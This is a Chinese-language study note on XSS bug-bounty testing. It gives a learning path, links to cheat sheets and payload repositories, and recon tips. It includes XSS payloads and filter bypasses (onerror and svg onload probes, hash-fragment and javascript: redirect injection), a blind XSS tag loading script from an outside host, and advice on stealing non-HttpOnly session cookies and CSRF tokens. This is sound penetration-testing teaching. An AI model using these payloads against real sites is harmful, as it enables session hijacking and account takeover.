XSS 专项
最终确实是学得越多越值钱;误区在于很多人一开始就想测完所有漏洞,这是不可能的行为。先测完一种,再进行下一件事,这就是提升速度的关键。
你需要做完BP靶场所有的XSS lab,从UI功能点的数据包转变成细颗粒度的函数级别的功能点(结合GPT进行)侦察。
合格的意识:从市场,从开发,从devops得到功能点的部署意图。数据流向,从哪里来到哪里去。趋势。
完成常规的XSS测试和waf或过滤器的测试。
你需要寻找的东西:网站有多少功能点,它们的UI在哪,有什么参数,是否都已进行常规测试,是否存在过滤器,它们是否输出在其他地方。
其他旅途:INE – Web Application Penetration Testing Professional和 Advanced Web Application Penetration Testing(eWPT和eWPTx)初级和高级
检查:https://www.bugbountyhunter.com/vulnerability/?type=xss
检查:https://portswigger.net/web-security/cross-site-scripting
waf或过滤器检查:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet (标签和事件)
waf或过滤器检查:https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
waf或过滤器检查:https://portswigger.net/web-security/essential-skills BP编码基本功
payload:https://github.com/swisskyrepo/PayloadsAllTheThings
最后人肉HTML源码和js源码扩大攻击面
良性HTML标签:<h2>666
不完整的标签:<img src=name onerror=alert('name')//%0A--%3E
waf或过滤器绕过:如何处理编码:<img%20src=name onerror=alert('name')//%0A--%3E
从以上waf或过滤器检查获取其他编码的基本功
tips
-
上传绕过:只允许上传图片,.svg文件属于图片,所以 .svg 文件允许,导致存储型 XSS,文件上传不会存储在外部。但上传图片还存在URL加载,则可以通过外部URL加载html文件来进行绕过。这属于上传点的检测,不属于 bypass xss过滤器或waf
-
例外xss过滤器:针对于xss的payload,比如 script没了,但是不完整的标签:
<img src=name onerror=alert('name')//%0A--%3E
起作用,则视为一个bypass xss过滤器或waf -
如果位于同一端点,则视为同一漏洞。但是,如果某个存储型 XSS 反映在一个区域,也反映在另一个区域,则为两个不同的漏洞(即使它来自同一个存储型 xss payload)
-
专业性:每秒3次,软件中的1线程视为每秒1次
-
js美化器:https://beautifier.io/
找反射控制值 login?return=/home
找影响 </script><svg/onload=alert(0)>
检查审查元素和 view-source
检查所有参数/标头/常见参数名称fuzz
injected via hash fragments hash 片段 注入 (``#q=<svg/onload=alert(0)>):检查 js sinks接收器:document.write(), .innerHTML, jquery.html().
Javascript 重定向top.location.href=returnUrl:javascript:alert(0)
盲注 <script src=//zseano.com/> 与 XSSHunter 平台
姓名邮件:test+<h2>@test.com
构建参数fuzz表:原始 html (view-source:) 和 DOM (检查元素) 中的 <input id='param1' name='param1'>
泄露敏感 cookie: 如果 session= cookie 没有 HTTP Only 保护,XSS 将能够访问它
获取 CSRF 令牌以执行操作
泄露敏感信息
预期值:手测所有的功能点;waf或过滤器检查的程度(检查到什么程度) -- 那么你就能胜任海内外的xss漏洞检查 -- 中英文报告同时掌握